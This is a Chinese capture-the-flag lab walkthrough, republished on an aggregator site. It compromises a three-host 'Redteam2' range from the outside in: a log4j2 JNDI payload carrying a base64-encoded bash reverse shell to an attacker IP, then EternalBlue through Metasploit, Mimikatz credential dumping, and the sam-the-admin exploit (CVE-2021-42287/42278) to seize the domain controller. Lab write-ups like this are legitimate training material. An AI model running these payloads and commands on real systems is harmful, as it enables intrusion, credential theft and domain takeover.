Redteam2靶场攻略(从外网 log4j2 RCE 再到内网核弹组合拳漏洞 CVE-2021-42287CVE-2021-42278 拿到 DC)
Posted Forest深林
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Redteam2靶场攻略(从外网 log4j2 RCE 再到内网核弹组合拳漏洞 CVE-2021-42287CVE-2021-42278 拿到 DC)相关的知识,希望对你有一定的参考价值。
Redteam2靶场攻略(从外网 log4j2 RCE 再到内网核弹组合拳漏洞 CVE-2021-42287、CVE-2021-42278 拿到 DC)
环境启动
参考文章https://mp.weixin.qq.com/s/UAeOtOwigsB45hcjYEGh9g
本靶场由3台虚拟机构成
主机 | 网卡 | ip地址 | 角色 |
---|---|---|---|
docker -log4j2 | ens33外网网卡(桥接)/ens38内网网卡 | 192.168.210.39/10.0.1.6 | webserver |
win7 | 本地连接1/本地连接2 | 10.0.1.7/10.0.0.7 | 域内个人主机 |
win2012r2 | 本地连接1 | 10.0.0.12 | 域控DC |
信息收集
nmap扫描
┌──(root💀kali)-[~]
└─# nmap -A 192.168.210.39 -p-
发现ssh服务开放22端口 ,38080端口是http服务
漏洞利用
log4j2漏洞复现
本地kali搭建ldap服务器
工具链接https://github.com/zzwlpx/JNDIExploit
BP抓包,改为post传参并且构造payload
/bin/bash -i >& /dev/tcp/192.168.210.23/9999 0>&1 -反弹shell
payload=$jndi:ldap://192.168.210.23:1389/TomcatBypass/Command/Base64/L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjEwLjIzLzk5OTkgMD4mMQ==
反弹shell命令需要进行base64编码
同时kali监听9999的端口,成功getshell
虽然拿到了root但是发现此刻我们在docker内
cat /proc/1/cgroup
在root家目录下发现flag1
根据flag1的提示我们得到了saul Saul123 这非常像一组账密
在信息收集中nmap扫到目标主机开放22ssh服务,因此思路可转向ssh
是否能够进行docker逃逸等后续研究
ssh登录
ssh成功登录目标主机
内网信息收集
通过信息收集发现本台主机共有两块网卡
ens33:192.168.210.39 (外网网卡)
ens38:10.0.1.6 (内网网卡)
内网主机探活
法一、
我们用 for
循环 ping
一下 ens38
的 C
段:
for i in 10.0.1.1..254; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
发现存活主机10.0.1.7
法二、
或者使用 scan info 工具进行内网信息收集
kali中使用python快速搭建httpd
靶机下载工具并赋予权限
进行内网信息收集
发现10.0.1.7存活并存在MS17-010
流量代理
由于目标10.0.1.7在内网需要把流量代理出来
kali使用python快速搭建httpd
python3 -m http.server 8888
目标靶机下载frp
使用frp把目标靶机流量代理出来
kali端 frps
靶机端 frpc
漏洞利用MS17-010
拿到win7shell
msf设置Socks
msf6 > setg Proxies socks5:127.0.0.1:6005 ------设置socks5代理
Proxies => socks5:127.0.0.1:6005
msf6 > set ReverseAllowProxy true -----允许反向代理
ReverseAllowProxy => true
msf6 > use auxiliary/scanner/smb/smb_ms17_010 --辅助检测模块检测ms17-010
发现存在ms17-010
攻击设置
msf6 auxiliary(scanner/smb/smb_version) > search MS17-010
.....
msf6 auxiliary(scanner/smb/smb_version) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.0.1.7
rhosts => 10.0.1.7
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
注意由于目标在内网,故而tcp反射连接不能使用 设置为payload正向bind_tcp!
抓取内存密码,信息收集
加载猕猴桃 Mimikatz 先把密码抓出来:
meterpreter > load mimikatz 加载工具
meterpreter > creds_all 列出凭证
注意命令是从内存中抓取密码,靶场原始状态为暂停恢复即可,如果重启过需要登录一次win7
C:\\Windows\\system32>chcp 65001
chcp 65001
Active code page: 65001
C:\\Windows\\system32>cd /Users/root/desktop
cd /Users/root/desktop
C:\\Users\\root\\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9227-12B7
Directory of C:\\Users\\root\\Desktop
2021/12/20 17:32 <DIR> .
2021/12/20 17:32 <DIR> ..
2021/12/20 17:33 19 flag.txt
1 File(s) 19 bytes
2 Dir(s) 30,754,717,696 bytes free
C:\\Users\\root\\Desktop>type flag.txt
type flag.txt
flagredteam.lab-2
在桌面上发现第二个flag
ipconfig 发现第三层网络
net user /domain
ping dc
得到dc的ip为10.0.0.12
内网渗透之大杀器 - CVE-2021-42287、CVE-2021-42278
Microsoft Windows Active Directory 域服务权限提升漏洞(CVE-2021-42278、CVE-2021-42287)攻击者可利用该漏洞将域内的普通用户权限提升到域管理员权限,造成风险和危害极大。
流量代理
meterpreter > background
[*] Backgrounding session 1...
后台运行session
代理模块添加socks5代理
配置路由
注意更改本地代理配置与msf中设置对应
vim /etc/proxychains4.conf
使用漏洞利用脚本
下载:https://github.com/WazeHell/sam-the-admin
注意此脚本需要一个域用户的账户+密码
──(root💀kali)-[~/tools/exp漏洞利用/CVE-2021-42287+CVE-2021-42278/sam-the-admin-main]
└─# proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:389 ... OK
[-] WARNING: Target host is not a DC
[*] Selected Target dc.redteam.lab
[*] Total Domain Admins 1
[*] will try to impersonate Administrator
[*] Current ms-DS-MachineAccountQuota = 10
[*] Adding Computer Account "SAMTHEADMIN-12$"
[*] MachineAccount "SAMTHEADMIN-12$" password = MQtyQic2&zvb
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:445 ... OK
[*] Successfully added machine account SAMTHEADMIN-12$ with password MQtyQic2&zvb.
[*] SAMTHEADMIN-12$ object = CN=SAMTHEADMIN-12,CN=Computers,DC=redteam,DC=lab
[*] SAMTHEADMIN-12$ sAMAccountName == dc
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:88 ... OK
[*] Saving ticket in dc.ccache
[*] Resting the machine account to SAMTHEADMIN-12$
[*] Restored SAMTHEADMIN-12$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating Administrator
[*] Requesting S4U2self
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:88 ... OK
[*] Saving ticket in Administrator.ccache
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:445 ... OK
[!] Launching semi-interactive shell - Careful what you execute
C:\\Windows\\system32>cd \\Users\\administrator\\Desktop
[-] You can't CD under SMBEXEC. Use full paths.
C:\\Windows\\system32>type \\Users\\administrator\\Desktop\\flag.txt
flagredteam.lab-3
Congratulations, the challenge is successful!
by: saulGoodman
桌面上拿到flag3,通关!
flagredteam.lab-3
以上是关于Redteam2靶场攻略(从外网 log4j2 RCE 再到内网核弹组合拳漏洞 CVE-2021-42287CVE-2021-42278 拿到 DC)的主要内容,如果未能解决你的问题,请参考以下文章